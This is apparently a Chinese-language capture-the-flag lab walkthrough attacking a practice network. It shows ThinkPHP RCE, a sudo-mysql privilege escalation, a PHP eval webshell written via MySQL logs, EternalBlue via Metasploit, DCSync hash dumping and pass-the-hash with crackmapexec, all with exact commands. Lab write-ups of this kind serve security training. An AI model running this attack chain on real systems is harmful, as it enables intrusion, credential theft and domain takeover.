开启靶机后是一个带着 ThinkPHP icon 的登陆界面,直接测试一下
存在 5.0.23 RCE
打一下,PHP-7.4.3 的环境,看一下 disable_functions
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare
传马上去,蚁剑连接,是www-data
权限,那么就得想办法提权进到/root
下
在以前关注的公众号下找了些文章,Web安全工具库 这篇写的挺全的,《Linux提权备忘录》
尝试cat /etc/sudoers
被告知Permission denied
,换成sudo -l
查看
这个网站里可以提供命令提权参考
可以使用mysql
来实现,sudo mysql -e '! cat /root/flag/flag01.txt'
拿到第一部分 flag
ifconfig
查下 IP
把 fscan 传上去然后扫下 C 段,./fscan_amd64 -h 172.22.1.1/24
,结果在当下的 result.txt 里
172.22.1.18:3306 open
172.22.1.2:88 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
[*] 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[+] 172.22.1.21 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[+] NetInfo:
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[+] NetInfo:
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[+] NetInfo:
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] 172.22.1.2 [+]DC XIAORANG\DC01 Windows Server 2016 Datacenter 14393
[*] WebTitle:http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] 172.22.1.18 XIAORANG\XIAORANG-OA01 Windows Server 2012 R2 Datacenter 9600
[*] 172.22.1.21 __MSBROWSE__\XIAORANG-WIN7 Windows 7 Professional 7601 Service Pack 1
[*] WebTitle:http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle:http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
.15 就不用看了,.21 是个存在永恒之蓝的 Win7,.18 是个信呼OA 的系统,.2 是个域控
用 NPS+Proxifier 代理转发,先看 .18
然后就有两个做法,第一个是针对信呼OA的一个文件上传漏洞,可以参考 Y4tacker师傅的文章,在利用弱口令 admin/admin123 登录后直接打 exp 就行
第二种做法是在扫目录基础上,利用/phpmyadmin
,可以直接 root/root 登录,然后利用日志写入 webshell
第一步先执行show variables like 'general%';
查看是否开启日志以及存放的日志位置
第二步set global general_log = ON;
开启日志
第三步set global general_log_file
设置日志保存位置
最后select '<?php eval($_POST[cmd]);?>';
写然后蚁剑连接,flag 就在C:/Users/Administrators/flag
下
接下来看 .21,是台 Win7 的机子,可以打 MS17-010 ,试了一下不出网,采用正向监听即可
先挂代理,proxychains msfconsole
走 socks5 流量,然后依次use exploit/windows/smb/ms17_010_eternalblue
=>set payload windows/x64/meterpreter/bind_tcp_uuid
=>set RHOSTS 172.22.1.21
=>exploit
得到正向的 meterpreter shell 后,接下来就是利用 DCSync
DCSync的介绍可以参考这篇文章,最大的特点就是可以实现不登录到域控而获取域控上的数据
在 MSF 下直接load kiwi
,然后kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
导出域内所有用户的 Hash
之前扫出来 .2 的 445 端口开放,利用 smb 哈希传递,直接用 kali 自带的 crackmapexec,proxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "$cmd"
,最后一部分 flag 在/Users/Administrators/flag
下